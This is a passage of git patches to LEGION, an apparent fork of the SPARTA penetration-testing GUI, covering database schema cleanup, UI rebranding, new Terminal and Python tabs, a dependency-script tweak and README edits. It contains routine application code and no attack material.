self.scan_args=scan_args - self.total_hosts=total_hosts - self.up_hosts=up_hosts - self.down_hosts=down_hosts - -class Database: - # TODO: sanitise dbfilename - def __init__(self, dbfilename): - try: - self.name = dbfilename - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - metadata.bind = 'sqlite:///'+dbfilename - metadata.bind.echo = True # uncomment to see detailed database logs - setup_all(create_tables=True) - create_all() - except: - print('[-] Could not create database. Please try again.') - - def openDB(self, dbfilename): - try: - self.name = dbfilename - metadata.bind = 'sqlite:///'+dbfilename - metadata.bind.echo = True # uncomment to see detailed database logs - setup_all() - except: - print('[-] Could not open database file. Is the file corrupted?') - - # this function commits any modified data to the db, ensuring no concurrent write access to the DB (within the same thread) - # if you code a thread that writes to the DB, make sure you acquire/release at the beginning/end of the thread (see nmap importer) - def commit(self): - self.dbsemaphore.acquire() - session.commit() - self.dbsemaphore.release() - - -if __name__ == "__main__": - - db = Database('myDatabase') - - # insert stuff - nmap_session('~/Documents/tools/sparta/tests/nmap-scan-1', 'Wed Jul 10 14:07:36 2013', 'Wed Jul 10 14:29:36 2013', '6.25', 'nmap -sS -A -T5 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '25', '231') - nmap_session('~/Documents/tools/sparta/tests/nmap-scan-2', 'Wed Jul 15 14:07:36 2013', 'Wed Jul 20 14:29:36 2013', '5.44', 'nmap -sT -A -T3 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '26', '230') - session.commit() diff --git a/db/tables.py.orig b/db/tables.py.orig deleted file mode 100644 index d0bac5c9..00000000 --- a/db/tables.py.orig +++ /dev/null @@ -1,185 +0,0 @@ -#!/usr/bin/env python - -''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' - -from elixir import metadata, Entity, Field -from elixir import Unicode, UnicodeText, Integer, String -from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne - -# This class holds various info about an nmap scan -class nmap_session(Entity): - filename=Field(String) - start_time=Field(String) - finish_time=Field(String) - nmap_version=Field(String) - scan_args=Field(String) - total_hosts=Field(String) - up_hosts=Field(String) - down_hosts=Field(String) - - def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): - self.filename=filename - self.start_time=start_time - self.finish_time=finish_time - self.nmap_version=nmap_version - self.scan_args=scan_args - self.total_hosts=total_hosts - self.up_hosts=up_hosts - self.down_hosts=down_hosts - -class nmap_os(Entity): - name=Field(String) - family=Field(String) - generation=Field(String) - os_type=Field(String) - vendor=Field(String) - accuracy=Field(String) - host=ManyToOne('nmap_host') - - def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): - self.name=name - self.family=family - self.generation=generation - self.os_type=os_type - self.vendor=vendor - self.accuracy=accuracy - self.host=hostId - -class nmap_port(Entity): - port_id=Field(String) - protocol=Field(String) - state=Field(String) - host=ManyToOne('nmap_host') - service=ManyToOne('nmap_service') - script=ManyToMany('nmap_script') - - def __init__(self, port_id, protocol, state, host, service=''): - self.port_id=port_id - self.protocol=protocol - self.state=state - self.host=host - self.service=service - -class nmap_service(Entity): - name=Field(String) - product=Field(String) - version=Field(String) - extrainfo=Field(String) - fingerprint=Field(String) - port=OneToMany('nmap_port') - - def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): - self.name=name - self.product=product - self.version=version - self.extrainfo=extrainfo - self.fingerprint=fingerprint - -class nmap_script(Entity): - script_id=Field(String) - output=Field(Unicode) - port=ManyToOne('nmap_port') - host=ManyToOne('nmap_host') - - def __init__(self, script_id, output, portId, hostId): - self.script_id=script_id - self.output=unicode(output) - self.port=portId - self.host=hostId - -class nmap_host(Entity): - - # host attributes - checked=Field(String) - os_match=Field(String) - os_accuracy=Field(String) - ip=Field(String) - ipv4=Field(String) - ipv6=Field(String) - macaddr=Field(String) - status=Field(String) - hostname=Field(String) - vendor=Field(String) - uptime=Field(String) - lastboot=Field(String) - distance=Field(String) - state=Field(String) - count=Field(String) - - # host relationships - os=ManyToMany('nmap_os') - ports=ManyToMany('nmap_port') - - def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): - self.checked='False' - self.os_match=os_match - self.os_accuracy=os_accuracy - self.ip=ip - self.ipv4=ipv4 - self.ipv6=ipv6 - self.macaddr=macaddr - self.status=status - self.hostname=hostname - self.vendor=vendor - self.uptime=uptime - self.lastboot=lastboot - self.distance=distance - self.state=state - self.count=count - -# this class represents the DB table that will hold information about a process -class process(Entity): - display=Field(String) - pid=Field(String) - name=Field(String) - tabtitle=Field(String) - hostip=Field(String) - port=Field(String) - protocol=Field(String) - command=Field(String) - starttime=Field(String) - endtime=Field(String) - outputfile=Field(String) - output=OneToOne('process_output', inverse='process') - status=Field(String) - closed=Field(String) - - def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): - self.display='True' - self.pid=pid - self.name=name - self.tabtitle=tabtitle - self.hostip=hostip - self.port=port - self.protocol=protocol - self.command=command - self.starttime=starttime - self.endtime=endtime - self.outputfile=outputfile - self.output=processOutputId - self.status=status - self.closed='False' - -class process_output(Entity): - output=Field(Unicode) - process=ManyToOne('process') - - def __init__(self): - self.output=unicode('') - -class note(Entity): - host=ManyToOne('nmap_host') - text=Field(Unicode) - - def __init__(self, hostId, text): - self.text=unicode(text) - self.host=hostId diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index c8de9250..8749f4cf 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -4,4 +4,4 @@ apt-get -qq update echo "Installing python dependancies..." apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y echo "Installing external binaryies and application dependancies..." -apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad -y +apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/legion.py b/legion.py index b368cf7f..3f4ad14d 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -95,27 +95,6 @@ def eventFilter(self, receiver, event): exit(0) - #darkPalette.setColor(QPalette.Window,QColor(53,53,53)); - #darkPalette.setColor(QPalette.WindowText,Qt.white); - #darkPalette.setColor(QPalette.Disabled,QPalette.WindowText,QColor(127,127,127)); - #darkPalette.setColor(QPalette.Base,QColor(42,42,42)); - #darkPalette.setColor(QPalette.AlternateBase,QColor(66,66,66)); - #darkPalette.setColor(QPalette.ToolTipBase,Qt.white); - #darkPalette.setColor(QPalette.ToolTipText,QColor(53,53,53)); - #darkPalette.setColor(QPalette.Text,Qt.white); - #darkPalette.setColor(QPalette.Disabled,QPalette.Text,QColor(127,127,127)); - #darkPalette.setColor(QPalette.Dark,QColor(35,35,35)); - #darkPalette.setColor(QPalette.Shadow,QColor(20,20,20)); - #darkPalette.setColor(QPalette.Button,QColor(53,53,53)); - #darkPalette.setColor(QPalette.ButtonText,Qt.white); - #darkPalette.setColor(QPalette.Disabled,QPalette.ButtonText,QColor(127,127,127)); - #darkPalette.setColor(QPalette.BrightText,Qt.red); - #darkPalette.setColor(QPalette.Link,QColor(42,130,218)); - #darkPalette.setColor(QPalette.Highlight,QColor(42,130,218)); - #darkPalette.setColor(QPalette.Disabled,QPalette.Highlight,QColor(80,80,80)); - #darkPalette.setColor(QPalette.HighlightedText,Qt.white); - #darkPalette.setColor(QPalette.Disabled,QPalette.HighlightedText,QColor(127,127,127)); - MainWindow.setStyleSheet(qss_file) logic = Logic() # Model prep (logic, db and models) diff --git a/parsers/Port.py b/parsers/Port.py index de9bb700..f4a72728 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -5,7 +5,7 @@ import sys import xml.dom.minidom -#import parsers.Script as Service <- Not exist? +import parsers.Service as Service import parsers.Script as Script class Port: @@ -22,10 +22,10 @@ def __init__(self, PortNode): def get_service(self): - #service_node = self.port_node.getElementsByTagName('service') + service_node = self.port_node.getElementsByTagName('service') - #if len(service_node) > 0: - # return Service.Service(service_node[0]) + if len(service_node) > 0: + return Service.Service(service_node[0]) return None diff --git a/ui/dialogs.py b/ui/dialogs.py index c39081b0..449ed1ed 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/ui/gui.py b/ui/gui.py index dabc2dae..d3b474e0 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -33,10 +33,6 @@ def setupUi(self, MainWindow): self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName(_fromUtf8("splitter_2")) - p = self.centralwidget.palette() - p.setColor(self.centralwidget.backgroundRole(), QColor(253,53,53)) - self.centralwidget.setPalette(p) - self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) self.ScanTab = QtWidgets.QWidget() @@ -250,12 +246,24 @@ def setupBottomPanel(self): self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) self.horizontalLayout_5.addWidget(self.ProcessesTableView) self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) -# self.TerminalTab = QtWidgets.QWidget() -# self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) -# self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) -# self.PythonTab = QtWidgets.QWidget() -# self.PythonTab.setObjectName(_fromUtf8("PythonTab")) -# self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + + # Terminal Tab + self.TerminalTab = QtWidgets.QWidget() + self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) + self.TerminalOutputTextView = QtWidgets.QPlainTextEdit(self.TerminalTab) + self.TerminalOutputTextView.setReadOnly(False) + self.TerminalTabLayout = QtWidgets.QHBoxLayout(self.TerminalTab) + self.TerminalTabLayout.addWidget(self.TerminalOutputTextView) + self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) + + # Python Tab + self.PythonTab = QtWidgets.QWidget() + self.PythonTab.setObjectName(_fromUtf8("PythonTab")) + #self.PythonOutputTextView = QtWidgets.QPlainTextEdit(self.PythonTab) + #self.PythonOutputTextView.setReadOnly(False) + self.PythonTabLayout = QtWidgets.QHBoxLayout(self.PythonTab) + #self.PythonTabLayout.addWidget(self.PythonOutputTextView) + self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) def setupMenuBar(self, MainWindow): self.menubar = QtWidgets.QMenuBar(MainWindow) @@ -317,7 +325,7 @@ def setDefaultIndexes(self): self.BottomTabWidget.setCurrentIndex(0) def retranslateUi(self, MainWindow): - MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "Sparta v0.0001", None)) + MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "LEGION", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtWidgets.QApplication.translate("MainWindow", "Tools", None)) @@ -331,8 +339,8 @@ def retranslateUi(self, MainWindow): #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtWidgets.QApplication.translate("MainWindow", "Tab 2", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) -# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtWidgets.QApplication.translate("MainWindow", "Terminal", None)) -# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtWidgets.QApplication.translate("MainWindow", "Terminal", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) # self.menuEdit.setTitle(QtWidgets.QApplication.translate("MainWindow", "Edit", None)) # self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) diff --git a/ui/gui.ui b/ui/gui.ui index d2e7aacd..7ec2e45d 100644 --- a/ui/gui.ui +++ b/ui/gui.ui @@ -11,7 +11,7 @@ - Sparta v0.0001 + LEGION @@ -184,11 +184,21 @@ Terminal + + + + + Python + + + + + diff --git a/ui/nosplitters/gui.py b/ui/nosplitters/gui.py deleted file mode 100644 index ccaac0d9..00000000 --- a/ui/nosplitters/gui.py +++ /dev/null @@ -1,144 +0,0 @@ -# -*- coding: utf-8 -*- - -# Form implementation generated from reading ui file 'gui.ui' -# -# Created: Wed Jul 17 17:23:20 2013 -# by: PyQt4 UI code generator 4.9.1 -# -# WARNING! All changes made in this file will be lost! - -from PyQt5 import QtWidgets, QtGui, QtCore - -try: - _fromUtf8 = QtCore.QString.fromUtf8 -except AttributeError: - _fromUtf8 = lambda s: s - -class Ui_MainWindow(object): - def setupUi(self, MainWindow): - MainWindow.setObjectName(_fromUtf8("MainWindow")) - MainWindow.resize(1010, 754) - self.centralwidget = QtWidgets.QWidget(MainWindow) - self.centralwidget.setObjectName(_fromUtf8("centralwidget")) - self.tabWidget = QtWidgets.QTabWidget(self.centralwidget) - self.tabWidget.setGeometry(QtCore.QRect(10, 0, 971, 531)) - self.tabWidget.setObjectName(_fromUtf8("tabWidget")) - self.tab = QtWidgets.QWidget() - self.tab.setObjectName(_fromUtf8("tab")) - self.tabWidget_3 = QtWidgets.QTabWidget(self.tab) - self.tabWidget_3.setGeometry(QtCore.QRect(300, 0, 661, 491)) - self.tabWidget_3.setObjectName(_fromUtf8("tabWidget_3")) - self.tab_5 = QtWidgets.QWidget() - self.tab_5.setObjectName(_fromUtf8("tab_5")) - self.ServicesTableView = QtWidgets.QTableView(self.tab_5) - self.ServicesTableView.setGeometry(QtCore.QRect(0, 0, 661, 461)) - self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) - self.tabWidget_3.addTab(self.tab_5, _fromUtf8("")) - self.tab_6 = QtWidgets.QWidget() - self.tab_6.setObjectName(_fromUtf8("tab_6")) - self.tabWidget_3.addTab(self.tab_6, _fromUtf8("")) - self.tab_7 = QtWidgets.QWidget() - self.tab_7.setObjectName(_fromUtf8("tab_7")) - self.tabWidget_3.addTab(self.tab_7, _fromUtf8("")) - self.tabWidget_2 = QtWidgets.QTabWidget(self.tab) - self.tabWidget_2.setGeometry(QtCore.QRect(0, 0, 301, 491)) - self.tabWidget_2.setObjectName(_fromUtf8("tabWidget_2")) - self.tab_3 = QtWidgets.QWidget() - self.tab_3.setObjectName(_fromUtf8("tab_3")) - self.HostsTableView = QtWidgets.QTableView(self.tab_3) - self.HostsTableView.setGeometry(QtCore.QRect(0, 0, 301, 461)) - self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) - self.tabWidget_2.addTab(self.tab_3, _fromUtf8("")) - self.tab_4 = QtWidgets.QWidget() - self.tab_4.setObjectName(_fromUtf8("tab_4")) - self.tabWidget_2.addTab(self.tab_4, _fromUtf8("")) - self.tabWidget.addTab(self.tab, _fromUtf8("")) - self.tab_2 = QtWidgets.QWidget() - self.tab_2.setObjectName(_fromUtf8("tab_2")) - self.tabWidget.addTab(self.tab_2, _fromUtf8("")) - self.tabWidget_4 = QtWidgets.QTabWidget(self.centralwidget) - self.tabWidget_4.setGeometry(QtCore.QRect(10, 560, 791, 91)) - self.tabWidget_4.setObjectName(_fromUtf8("tabWidget_4")) - self.tab_8 = QtWidgets.QWidget() - self.tab_8.setObjectName(_fromUtf8("tab_8")) - self.tabWidget_4.addTab(self.tab_8, _fromUtf8("")) - self.tab_9 = QtWidgets.QWidget() - self.tab_9.setObjectName(_fromUtf8("tab_9")) - self.tabWidget_4.addTab(self.tab_9, _fromUtf8("")) - self.tab_10 = QtWidgets.QWidget() - self.tab_10.setObjectName(_fromUtf8("tab_10")) - self.tabWidget_4.addTab(self.tab_10, _fromUtf8("")) - MainWindow.setCentralWidget(self.centralwidget) - self.menubar = QtWidgets.QMenuBar(MainWindow) - self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) - self.menubar.setObjectName(_fromUtf8("menubar")) - self.menuFile = QtWidgets.QMenu(self.menubar) - self.menuFile.setObjectName(_fromUtf8("menuFile")) - self.menuEdit = QtWidgets.QMenu(self.menubar) - self.menuEdit.setObjectName(_fromUtf8("menuEdit")) - self.menuSettings = QtWidgets.QMenu(self.menubar) - self.menuSettings.setObjectName(_fromUtf8("menuSettings")) - self.menuHelp = QtWidgets.QMenu(self.menubar) - self.menuHelp.setObjectName(_fromUtf8("menuHelp")) - MainWindow.setMenuBar(self.menubar) - self.statusbar = QtWidgets.QStatusBar(MainWindow) - self.statusbar.setObjectName(_fromUtf8("statusbar")) - MainWindow.setStatusBar(self.statusbar) - self.actionNew_Project = QtWidgets.QAction(MainWindow) - self.actionNew_Project.setObjectName(_fromUtf8("actionNew_Project")) - self.actionExit = QtWidgets.QAction(MainWindow) - self.actionExit.setObjectName(_fromUtf8("actionExit")) - self.actionOpen = QtWidgets.QAction(MainWindow) - self.actionOpen.setObjectName(_fromUtf8("actionOpen")) - self.menuFile.addAction(self.actionNew_Project) - self.menuFile.addAction(self.actionOpen) - self.menuFile.addSeparator() - self.menuFile.addAction(self.actionExit) - self.menubar.addAction(self.menuFile.menuAction()) - self.menubar.addAction(self.menuEdit.menuAction()) - self.menubar.addAction(self.menuSettings.menuAction()) - self.menubar.addAction(self.menuHelp.menuAction()) - - self.retranslateUi(MainWindow) - self.tabWidget.setCurrentIndex(0) - self.tabWidget_3.setCurrentIndex(0) - self.tabWidget_2.setCurrentIndex(0) - self.tabWidget_4.setCurrentIndex(0) - QtCore.QMetaObject.connectSlotsByName(MainWindow) - - def retranslateUi(self, MainWindow): - MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_5), QtWidgets.QApplication.translate("MainWindow", "Services", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_6), QtWidgets.QApplication.translate("MainWindow", "Information", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_7), QtWidgets.QApplication.translate("MainWindow", "Notes", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_3), QtWidgets.QApplication.translate("MainWindow", "Hosts", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_4), QtWidgets.QApplication.translate("MainWindow", "Services", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtWidgets.QApplication.translate("MainWindow", "Scan", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtWidgets.QApplication.translate("MainWindow", "Brute", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_8), QtWidgets.QApplication.translate("MainWindow", "Log", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_9), QtWidgets.QApplication.translate("MainWindow", "Terminal", None, QtWidgets.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_10), QtWidgets.QApplication.translate("MainWindow", "Python", None, QtWidgets.QApplication.UnicodeUTF8)) - self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None, QtWidgets.QApplication.UnicodeUTF8)) - self.menuEdit.setTitle(QtWidgets.QApplication.translate("MainWindow", "Edit", None, QtWidgets.QApplication.UnicodeUTF8)) - self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None, QtWidgets.QApplication.UnicodeUTF8)) - self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionNew_Project.setText(QtWidgets.QApplication.translate("MainWindow", "New", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionNew_Project.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Create a new project file", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionNew_Project.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+N", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionExit.setText(QtWidgets.QApplication.translate("MainWindow", "Exit", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionExit.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+Q", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionOpen.setText(QtWidgets.QApplication.translate("MainWindow", "Open", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionOpen.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Open an existing project file", None, QtWidgets.QApplication.UnicodeUTF8)) - self.actionOpen.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+O", None, QtWidgets.QApplication.UnicodeUTF8)) - - -if __name__ == "__main__": - import sys - app = QtWidgets.QApplication(sys.argv) - MainWindow = QtWidgets.QMainWindow() - ui = Ui_MainWindow() - ui.setupUi(MainWindow) - MainWindow.show() - sys.exit(app.exec_()) - diff --git a/ui/nosplitters/gui.ui b/ui/nosplitters/gui.ui deleted file mode 100644 index e674f71c..00000000 --- a/ui/nosplitters/gui.ui +++ /dev/null @@ -1,215 +0,0 @@ - - - MainWindow - - - - 0 - 0 - 1010 - 754 - - - - Sparta v0.0001 - - - - - - 10 - 0 - 971 - 531 - - - - 0 - - - - Scan - - - - - 300 - 0 - 661 - 491 - - - - 0 - - - - Services - - - - - 0 - 0 - 661 - 461 - - - - - - - Information - - - - - Notes - - - - - - - 0 - 0 - 301 - 491 - - - - 0 - - - - Hosts - - - - - 0 - 0 - 301 - 461 - - - - - - - Services - - - - - - - Brute - - - - - - - 10 - 560 - 791 - 91 - - - - 0 - - - - Log - - - - - Terminal - - - - - Python - - - - - - - - 0 - 0 - 1010 - 25 - - - - - File - - - - - - - - - Edit - - - - - Settings - - - - - Help - - - - - - - - - - - New - - - Create a new project file - - - Ctrl+N - - - - - Exit - - - Exit the application - - - Ctrl+Q - - - - - Open - - - Open an existing project file - - - Ctrl+O - - - - - - diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py index 0a1da053..c300b27d 100644 --- a/ui/settingsdialogs.py +++ b/ui/settingsdialogs.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/ui/view.py b/ui/view.py index 18faa51e..537de2da 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,7 +1,7 @@ #!/usr/bin/env python ''' -LEGION 0.1.0 (https://govanguard.io) +LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -176,8 +176,8 @@ def startConnections(self): # signal ini def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] - setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15]) + headers = ["Id","OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count","Padding"] + setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15,16]) self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) # service names table (left) @@ -582,10 +582,12 @@ def tableDoubleClick(self): if tab == 'Services': row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - ip = self.PortsByServiceTableModel.getIpForRow(row) + ## Missing + #ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() - ip = self.ToolHostsTableModel.getIpForRow(row) + ## Missing + #ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -858,13 +860,14 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] + # TACOS + headers = ["Id","OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count","Padding"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15]: # hide some columns + for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15,16]: # hide some columns self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) @@ -1201,6 +1204,29 @@ def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filenam return tempTextView + + def createNewConsole(self, tabtitle, content='Hello\n', filename=''): + + tempWidget = QtWidgets.QWidget() + tempWidget.setObjectName(str(tabtitle)) + tempTextView = QtWidgets.QPlainTextEdit(tempWidget) + tempTextView.setReadOnly(True) + if self.controller.getSettings().general_tool_output_black_background == 'True': + p = tempTextView.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + tempTextView.setPalette(p) + tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempLayout = QtWidgets.QHBoxLayout(tempWidget) + tempLayout.addWidget(tempTextView) + self.ui.PythonTabLayout.addWidget(tempWidget) + + if not content == '': # if there is any content to display + tempTextView.appendPlainText(content) + + + return tempTextView + def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked From ec53ac347af9d96e496724eccdc7840a19ff3f46 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 05:48:59 -0500 Subject: [PATCH 014/450] Update README.md --- README.md | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/README.md b/README.md index 7bdd2dd5..c2c78c77 100644 --- a/README.md +++ b/README.md @@ -36,14 +36,9 @@ Installation ``` git clone https://github.com/GoVanguard/legion.git ``` -Install dependencies listed above, e.g.: -apt-get install python-pyqt5 -apt-get install python-sqlalchemy -apt-get install nmap -apt-get install hydra - Run startLegion.sh +Note: Deps will be installed automatically Credits ---- From 548cc07799954970fd34a8382b5bf8319c1319f1 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 05:49:36 -0500 Subject: [PATCH 015/450] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c2c78c77..f723443b 100644 --- a/README.md +++ b/README.md @@ -35,10 